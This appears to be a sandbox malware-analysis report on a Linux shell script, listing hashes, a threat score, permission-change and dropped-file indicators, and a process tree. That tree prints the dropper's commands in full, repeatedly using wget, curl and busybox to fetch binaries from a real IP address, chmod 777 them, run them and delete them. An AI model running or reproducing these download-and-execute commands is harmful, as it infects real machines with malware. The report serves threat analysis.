71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129

Analysis

max time kernel
48s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/11/2024, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
Size 10KB
Sample241111-c2fx9atphj
SHA256 71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129
MD5 e3d0070216ad3a37013107bcf9685e13
SHA1 7d7b96188b2ee5b2fe4fb40e7483b77d275d38be
SHA512 6de4ee11de570db7262a7e7c77776a34e5065069d68b0ab1145f2d05d7b9b49204304d5068102c0cf020c53fdee93d661316016572aab6232b320cad53b4b034
SSDEEP 192:HpJXJwa8BiCmRkQCisfJY1TpVZvyqYpJXJwamCmRkQCiNzVZvyqJj:HpJXJwa8BiCmRkQCisBY1TGpJXJwamCo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1652	chmod
1506	chmod
1604	chmod
1622	chmod
1634	chmod
1590	chmod
1598	chmod
1500	chmod
1542	chmod
1560	chmod
1566	chmod
1530	chmod
1548	chmod
1578	chmod
1640	chmod
1658	chmod
1494	chmod
1512	chmod
1524	chmod
1536	chmod
1518	chmod
1572	chmod
1616	chmod
1610	chmod
1628	chmod
1646	chmod
1554	chmod
1584	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	curl
File opened for modification	/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	curl
File opened for modification	/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	curl
File opened for modification	/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	curl
File opened for modification	/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	curl
File opened for modification	/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	curl
File opened for modification	/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	curl
File opened for modification	/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	curl
File opened for modification	/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	curl
File opened for modification	/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	curl
File opened for modification	/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	curl
File opened for modification	/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	curl
File opened for modification	/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	curl
File opened for modification	/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	curl
File opened for modification	/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	curl
File opened for modification	/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	curl
File opened for modification	/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	curl
File opened for modification	/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	curl
File opened for modification	/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	curl
File opened for modification	/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	curl
File opened for modification	/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	curl
File opened for modification	/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	curl
File opened for modification	/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	curl
File opened for modification	/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	curl
File opened for modification	/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	curl
File opened for modification	/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	curl
File opened for modification	/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	curl
File opened for modification	/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	curl

/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
1⤵
PID:1485
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1486
- /usr/bin/wget
  wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1487
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Writes file to tmp directory
  PID:1492
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1493
- /bin/chmod
  chmod 777 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  ./5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Executes dropped EXE
  PID:1495
- /bin/rm
  rm 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1497
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1499
- /bin/chmod
  chmod 777 J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  ./J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Executes dropped EXE
  PID:1501
- /bin/rm
  rm J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1503
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1505
- /bin/chmod
  chmod 777 jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  ./jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1509
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1511
- /bin/chmod
  chmod 777 UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  ./UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Executes dropped EXE
  PID:1513
- /bin/rm
  rm UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1517
- /bin/chmod
  chmod 777 fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  ./fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Executes dropped EXE
  PID:1519
- /bin/rm
  rm fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1521
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1523
- /bin/chmod
  chmod 777 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  ./23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Executes dropped EXE
  PID:1525
- /bin/rm
  rm 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1529
- /bin/chmod
  chmod 777 pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  ./pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Executes dropped EXE
  PID:1531
- /bin/rm
  rm pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1535
- /bin/chmod
  chmod 777 t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  ./t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Executes dropped EXE
  PID:1537
- /bin/rm
  rm t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1541
- /bin/chmod
  chmod 777 EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  ./EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Executes dropped EXE
  PID:1543
- /bin/rm
  rm EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1545
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1547
- /bin/chmod
  chmod 777 KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  ./KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Executes dropped EXE
  PID:1549
- /bin/rm
  rm KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1551
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1553
- /bin/chmod
  chmod 777 X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  ./X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Executes dropped EXE
  PID:1555
- /bin/rm
  rm X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1557
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1559
- /bin/chmod
  chmod 777 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  ./87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Executes dropped EXE
  PID:1561
- /bin/rm
  rm 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1563
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1565
- /bin/chmod
  chmod 777 kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  ./kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Executes dropped EXE
  PID:1567
- /bin/rm
  rm kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1569
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1571
- /bin/chmod
  chmod 777 sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  ./sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Executes dropped EXE
  PID:1573
- /bin/rm
  rm sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1575
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1577
- /bin/chmod
  chmod 777 jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  ./jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Executes dropped EXE
  PID:1579
- /bin/rm
  rm jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:1580
- /usr/bin/wget
  wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1581
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1583
- /bin/chmod
  chmod 777 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  ./5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Executes dropped EXE
  PID:1585
- /bin/rm
  rm 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:1586
- /usr/bin/wget
  wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1587
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1589
- /bin/chmod
  chmod 777 J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  ./J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Executes dropped EXE
  PID:1591
- /bin/rm
  rm J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1593
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1595
- /bin/chmod
  chmod 777 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  ./23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Executes dropped EXE
  PID:1599
- /bin/rm
  rm 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:1600
- /usr/bin/wget
  wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1601
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1603
- /bin/chmod
  chmod 777 UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  ./UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Executes dropped EXE
  PID:1605
- /bin/rm
  rm UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:1606
- /usr/bin/wget
  wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1607
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1609
- /bin/chmod
  chmod 777 fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  ./fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Executes dropped EXE
  PID:1611
- /bin/rm
  rm fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:1612
- /usr/bin/wget
  wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1613
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1615
- /bin/chmod
  chmod 777 EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  ./EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Executes dropped EXE
  PID:1617
- /bin/rm
  rm EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:1618
- /usr/bin/wget
  wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1619
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1621
- /bin/chmod
  chmod 777 pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  ./pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Executes dropped EXE
  PID:1623
- /bin/rm
  rm pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:1624
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1625
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1627
- /bin/chmod
  chmod 777 t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  ./t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Executes dropped EXE
  PID:1629
- /bin/rm
  rm t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:1630
- /usr/bin/wget
  wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1631
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1633
- /bin/chmod
  chmod 777 kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - File and Directory Permissions Modification
  PID:1634
- /tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  ./kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Executes dropped EXE
  PID:1635
- /bin/rm
  rm kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:1636
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1637
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Writes file to tmp directory
  PID:1638
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1639
- /bin/chmod
  chmod 777 sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  ./sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Executes dropped EXE
  PID:1641
- /bin/rm
  rm sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:1642
- /usr/bin/wget
  wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1643
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Writes file to tmp directory
  PID:1644
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1645
- /bin/chmod
  chmod 777 KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  ./KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Executes dropped EXE
  PID:1647
- /bin/rm
  rm KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:1648
- /usr/bin/wget
  wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:1649
- /usr/bin/curl
